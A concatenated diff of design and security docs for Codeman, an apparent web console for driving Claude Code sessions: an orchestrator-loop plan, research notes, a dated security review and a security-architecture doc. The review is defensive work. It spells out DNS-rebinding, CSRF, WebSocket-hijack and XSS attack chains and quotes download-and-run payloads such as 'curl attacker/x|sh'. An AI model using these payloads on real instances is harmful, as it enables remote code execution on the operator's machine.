4. Add to `createRouteContext()` InfraPort: `orchestratorLoop: this.orchestratorLoop`
5. Wire up OrchestratorLoop events → SSE broadcasts
6. Register routes: `registerOrchestratorRoutes(this.app, ctx)`
7. Clean up in `stop()`
### Step 9: `src/web/public/orchestrator-ui.js` — Frontend panel
~500 lines. New frontend module.
**Load order**: After `panels-ui.js` (11), before `ralph-wizard.js` (13). So load order = 11.5.
**UI elements:**
- Goal input form (text area + config toggles)
- Plan approval view (phase list, task details, approve/reject buttons)
- Execution dashboard (progress bar, phase cards, task status indicators)
- Agent activity panel (session count, team status)
- Controls (pause, resume, stop, skip phase, retry phase)
**SSE listeners:**
- All 11 orchestrator events → update UI state
- Reuses existing session/respawn/team event handlers for agent monitoring
### Step 10: `src/prompts/orchestrator.ts` — Prompt templates
~200 lines.
Templates for:
- Phase execution prompt (tells Claude what to do in this phase)
- Team lead delegation prompt (instructs lead to create and coordinate teammates)
- Verification prompt (asks Claude to verify phase output)
- Replan prompt (gives failure context, asks for recovery steps)
### Step 11: Constants, schemas, route barrel updates
- `src/web/public/constants.js` — Add 11 SSE event mirrors
- `src/web/schemas.ts` — Add Zod schemas for orchestrator API input validation
- `src/web/routes/index.ts` — Export `registerOrchestratorRoutes`
- `src/web/ports/infra-port.ts` — Add `orchestratorLoop` to InfraPort
- `src/types/index.ts` — Export orchestrator types
## Existing File Modifications Summary
| File | Change | Lines |
|------|--------|-------|
| `src/types/index.ts` | Add orchestrator barrel export | +1 |
| `src/web/sse-events.ts` | Add 11 orchestrator events + SseEvent entries | +30 |
| `src/web/public/constants.js` | Mirror 11 SSE events | +15 |
| `src/web/routes/index.ts` | Export registerOrchestratorRoutes | +1 |
| `src/web/ports/infra-port.ts` | Add orchestratorLoop to InfraPort | +3 |
| `src/web/server.ts` | Initialize OrchestratorLoop, wire events, register routes | +40 |
| `src/web/schemas.ts` | Add orchestrator Zod schemas | +20 |
| `src/state-store.ts` | Add orchestrator state persistence | +20 |
| `src/web/public/app.js` | Add orchestrator SSE listeners + panel toggle | +30 |
| `src/web/public/index.html` | Add orchestrator-ui.js script tag | +1 |
**Total new code**: ~2,300 lines across 6 new files
**Total modifications**: ~160 lines across 10 existing files
## Implementation Execution Order
This is the actual build order — each step is a commit checkpoint:
1. **Types** — `src/types/orchestrator.ts` + barrel export. Zero risk, pure types.
2. **SSE events** — Add all 11 events to both `sse-events.ts` and `constants.js`. Wire in SseEvent namespace.
3. **State persistence** — Add orchestrator state to StateStore. Small, isolated change.
4. **Schemas** — Add Zod validation schemas for API input.
5. **Planner** — `src/orchestrator-planner.ts`. Can test in isolation.
6. **Verifier** — `src/orchestrator-verifier.ts`. Can test in isolation.
7. **Core loop** — `src/orchestrator-loop.ts`. The big one. Depends on planner + verifier.
8. **Prompts** — `src/prompts/orchestrator.ts`. Templates used by core loop.
9. **Port + routes** — `src/web/ports/infra-port.ts` update + `src/web/routes/orchestrator-routes.ts`.
10. **Server integration** — Wire OrchestratorLoop into WebServer. Routes become live.
11. **Frontend** — `src/web/public/orchestrator-ui.js` + app.js listeners + index.html script tag.
12. **Tests** — `test/orchestrator-*.test.ts`.
13. **Typecheck + lint** — Fix all issues, ensure CI passes.
## Edge Cases & Error Handling
- **Session limit reached**: Queue tasks and wait for sessions to free up (existing SessionManager handles this)
- **All sessions crash during phase**: Mark phase as failed, attempt replan
- **Verification flaky**: `moderate` mode allows test retries; `lenient` skips AI review
- **Plan too large**: Cap at 10 phases, 50 total tasks. Warn user.
- **Context overflow**: Auto-compact between phases. Respawn if needed (orchestrator state is external).
- **User pauses mid-phase**: Pause task assignment, don't cancel running tasks. Resume picks up where it left off.
- **Network/API errors during planning**: Retry plan generation up to 2 times, then fail with clear message.
- **Orchestrator vs Ralph conflict**: Mutually exclusive. Starting orchestrator stops Ralph if running. Starting Ralph stops orchestrator.
## Testing Strategy
- **Unit tests**: `test/orchestrator-planner.test.ts` — phase grouping algorithm, team strategy assignment
- **Unit tests**: `test/orchestrator-verifier.test.ts` — verification logic with mocked sessions
- **Integration tests**: `test/orchestrator-loop.test.ts` — state machine transitions, task lifecycle
- **Route tests**: `test/routes/orchestrator-routes.test.ts` — API validation, status responses
All tests use `MockSession` pattern from existing test infrastructure. No real tmux needed.
+157
View File
@@ -0,0 +1,157 @@
# Orchestrator Loop — Research Findings
> Research doc for the new "Orchestrator Loop" feature. Not for GitHub.
## What We're Building
A new autonomous loop variant — **Orchestrator Loop** — that takes high-level user tasks, decomposes them into a detailed plan using team agents, and executes the plan step-by-step with quality gates. Unlike Ralph Loop (which executes a flat task queue), the Orchestrator coordinates **planning, delegation, and verification** as a continuous cycle.
**Core idea**: User inputs a goal → Orchestrator creates a detailed plan → spins up team agents for parallel execution → validates each step → adapts the plan based on results → delivers polished output.
## Existing Infrastructure Analysis
### What We Can Reuse
#### 1. Ralph Loop (`src/ralph-loop.ts`)
- **Pattern**: Poll loop with `start() → tick() → stop()` lifecycle
- **Reusable**: Event-driven task assignment, session completion handling, timeout management
- **Limitation**: Flat task queue — no concept of phases, dependencies between task groups, or adaptive replanning
- **Key insight**: `assignTaskToSession()` uses `session.sendInput(task.prompt)` — simple prompt injection into PTY
#### 2. Task Queue (`src/task-queue.ts`) + Task (`src/task.ts`)
- **Already has**: Priority ordering, dependency tracking between tasks, completion phrase detection
- **Limitation**: No task *groups* or *phases*. Dependencies are task-to-task, not phase-to-phase
- **Key insight**: Tasks support `completionPhrase` — a string the task watches for in output. This is how Ralph knows a task is done
#### 3. Plan Orchestrator (`src/plan-orchestrator.ts`)
- **Already has**: 2-agent plan generation (Research Agent → Planner Agent), TDD-aware plan items with P0/P1/P2 priorities
- **Output**: `PlanItem[]` with dependencies, verification criteria, TDD phases, complexity ratings
- **Limitation**: Plan generation only — no execution. Plans are generated then sit in state/UI for human review
- **Key insight**: Uses `Session` directly to run Claude subagent instances for research and planning. Returns structured JSON
#### 4. Team Agents (`src/team-watcher.ts`, `~/.claude/teams/`)
- **Already has**: Team creation, member tracking, filesystem inbox messaging, task management via `~/.claude/tasks/{team-name}/`
- **Limitation**: Codeman can only *observe* teams (TeamWatcher is read-only polling), not *create* or *orchestrate* them
- **Key insight**: Teams are a Claude Code feature. Codeman monitors them but doesn't control them. We can't programmatically create teammates — Claude Code does that when you use `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
#### 5. Respawn Controller (`src/respawn-controller.ts`)
- **Already has**: Preset-based automation (ralph-todo, overnight-autonomous), circuit breaker, health scoring
- **Key insight**: The `ralph-todo` preset (8s idle, 480min max) is designed for autonomous task execution. We'd need a new preset or make Orchestrator Loop set its own timing
#### 6. Session Auto-Ops (`src/session-auto-ops.ts`)
- **Already has**: Auto-compact at token thresholds, auto-clear for context management
- **Key insight**: Critical for long Orchestrator runs — prevents context overflow during multi-step execution
#### 7. Hooks (`src/hooks-config.ts`)
- **Already has**: `idle_prompt`, `stop`, `teammate_idle`, `task_completed` hook events
- **Key insight**: Hooks fire POST to `/api/hook-event` — this is how Codeman knows when Claude is idle, stopped, or completed a task. The Orchestrator Loop can listen to these same events
### What We Need to Build New
1. **Plan → Task decomposition**: Convert PlanOrchestrator output (PlanItem[]) into executable task groups with phase ordering
2. **Multi-phase execution engine**: Execute plan phases sequentially, tasks within phases in parallel
3. **Verification gates**: After each phase, run verification (test commands, AI review) before proceeding
4. **Adaptive replanning**: When a task fails or verification fails, generate a recovery plan
5. **Team agent orchestration**: Leverage Claude Code's agent teams for parallel execution within phases
6. **Progress tracking & UI**: Real-time dashboard showing plan progress, phase status, agent activity
## How Teams Actually Work (Important Constraint)
After deep research, here's the reality of agent teams:
```
User starts session with CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1
→ Claude Code creates a team-lead
→ Team-lead spawns teammates (in-process threads)
→ Teammates appear as subagents (detected by SubagentWatcher)
→ Communication via ~/.claude/teams/{name}/inboxes/{member}.json
→ Tasks tracked in ~/.claude/tasks/{team-name}/{N}.json
```
**Codeman cannot programmatically create team members.** This is a Claude Code internal feature. However, Codeman CAN:
- Start a session that has teams enabled
- Send a prompt to the lead that instructs it to use agent teams
- Monitor team activity via TeamWatcher
- React to teammate_idle and task_completed hook events
- Read team task status from the filesystem
**This means**: The Orchestrator Loop orchestrates at the *session prompt* level, not the *team member* level. We tell the lead what to do, and the lead decides how to use its team.
## Architecture Decision: Prompt-Level Orchestration
Given the team constraint, the Orchestrator Loop works by:
1. **Planning phase**: Use PlanOrchestrator to generate a detailed plan from user input
2. **Execution phase**: Feed plan steps as prompts to sessions, one phase at a time
3. **Verification phase**: After each phase, run verification prompts and check results
4. **Adaptation phase**: If verification fails, generate recovery prompts
The "team agents" aspect works by:
- Starting sessions with `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`
- Crafting prompts that *instruct the lead to delegate* to teammates
- Monitoring team activity to track parallel progress
- The lead agent is smart enough to decompose work across its team
## Key Technical Findings
### Session Input Mechanics
```typescript
// From session.ts - how we send prompts
await session.sendInput(task.prompt); // Uses writeViaMux() internally
// writeViaMux() does: tmux send-keys -l "prompt text" + tmux send-keys Enter
// CRITICAL: Single-line only! Multi-line breaks Ink rendering
```
### Completion Detection Chain
```
PTY output → RalphTracker.processData() → completion phrase fuzzy match
→ CompletionConfidence scoring (multi-signal: promise tag + todos + exit signal)
→ If confident → emit 'completionDetected'
→ RalphLoop listens → marks task complete → assigns next
```
### How Plan Items Map to Tasks
```typescript
// PlanItem has:
interface PlanItem {
id: string; // "P0-001"
content: string; // "Implement error handling for API endpoints"
priority: 'P0' | 'P1' | 'P2';
dependencies: string[]; // ["P0-000"] — other PlanItem IDs
verificationCriteria: string;
testCommand: string;
tddPhase: 'setup' | 'test' | 'impl' | 'verify' | 'review';
complexity: 'low' | 'medium' | 'high';
}
// Task has:
interface CreateTaskOptions {
prompt: string;
priority: number;
dependencies: string[]; // Task IDs
completionPhrase: string;
timeoutMs: number;
}
// Natural mapping: PlanItem.content → Task.prompt
// PlanItem.dependencies → Task.dependencies
// PlanItem.priority → Task.priority (P0=100, P1=50, P2=10)
// PlanItem.verificationCriteria → verification task prompt
```
### Context Management for Long Runs
- Auto-compact at ~110k tokens (configurable)
- Auto-clear at ~140k tokens (configurable)
- Respawn cycling: kill + restart session to reset context entirely
- For Orchestrator: we want compact between phases, respawn between major milestones
## Risk Assessment
| Risk | Severity | Mitigation |
|------|----------|------------|
| Context overflow during complex phases | High | Auto-compact between tasks, respawn between phases |
| Team agents not predictable | Medium | Orchestrate at session level, let Claude decide team delegation |
| Plan too ambitious → infinite loop | High | Phase budgets (max attempts per phase), circuit breaker |
| Verification too strict → blocks progress | Medium | Configurable strictness, human override via UI |
| Single-line prompt limit | Medium | Use CLAUDE.md file for complex instructions, prompt references file |
| Long planning phase delays execution | Low | Show plan for approval before execution |
+149
View File
@@ -0,0 +1,149 @@
# Codeman Security Review — 2026-06-09
> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
> trusts an unsigned git tag — needs signing infra) and dropping CSP
> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
> known XSS). Per‑finding breakdown in the *Implementation status* section below;
> regression tests in `test/network-host-guard.test.ts`.
**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
## TL;DR — the one thing that matters
The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
---
## CRITICAL
### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
---
## HIGH
### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
---
## MEDIUM
| # | Finding | Location | Fix |
|---|---------|----------|-----|
| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
---
## LOW / INFO (hardening)
- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
---
## What's solid (credit where due)
The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
---
## Implementation status (2026-06-09)
Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
## Remediation priority
1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*
+505
View File
@@ -0,0 +1,505 @@
# Security Architecture
This document describes Codeman's security model: how it decides who may reach
the web UI, how requests are authenticated, how the file-serving and tmux layers
are hardened, and the recommended ways to expose an instance safely.
Codeman spawns and drives Claude/OpenCode CLIs with
`--dangerously-skip-permissions`. **Anyone who can reach an unauthenticated
instance can run arbitrary commands as your user.** The defaults below are chosen
so that a fresh install is safe on the machine it runs on, while remote access is
an explicit, guided opt‑in.
> TL;DR — Codeman binds **loopback only (`127.0.0.1`) by default**, so out of the
> box it is reachable only from the same machine and needs no password. To reach
> it from elsewhere, either put it behind an **authenticated tunnel**
> (`tailscale serve` / `cloudflared`) **or** bind a wider host **and set
> `CODEMAN_PASSWORD`**. If you bind a non‑loopback host with no password, Codeman
> still starts but prints a **loud warning** telling you how to secure it.
---
## Contents
1. [Network binding model](#1-network-binding-model)
2. [Authentication](#2-authentication)
3. [Request‑origin trust & the tunnel caveat](#3-requestorigin-trust--the-tunnel-caveat)
4. [Recommended remote‑access setups](#4-recommended-remoteaccess-setups)
5. [File‑serving hardening](#5-fileserving-hardening)
6. [tmux launch hardening](#6-tmux-launch-hardening-cod31)
7. [Supply‑chain & build‑asset hardening](#7-supplychain--buildasset-hardening-cod28)
8. [Multi‑instance isolation](#8-multiinstance-isolation)
9. [Transport security headers](#9-transport-security-headers)
10. [Quick reference](#10-quick-reference)
---
## Trust model
**The security boundary is the network bind plus authentication — not the code Codeman
runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
below exists to control *who* that is.
| Actor | Reaches the UI when… | Is granted |
|-------|----------------------|------------|
| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
**Explicitly out of scope.** Codeman is access control for the operator console, not a
sandbox for the code that console runs. It does **not** defend against: a compromised
local user account (loopback is trusted), malicious contents in a workspace you
deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
(§5).
---
## 1. Network binding model
| Setting | Default | Source |
|---------|---------|--------|
| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
| Port | `3000` | `--port` / `CODEMAN_PORT` |
| TLS | off (`--https` to enable) | `--https` |
### Bind host classification
`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
host is loopback-only. It returns `true` for:
- `localhost`
- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
- IPv4‑mapped loopback `::ffff:127.*`
It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
The classification is **fail‑safe in the dangerous direction**: any host that is
not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
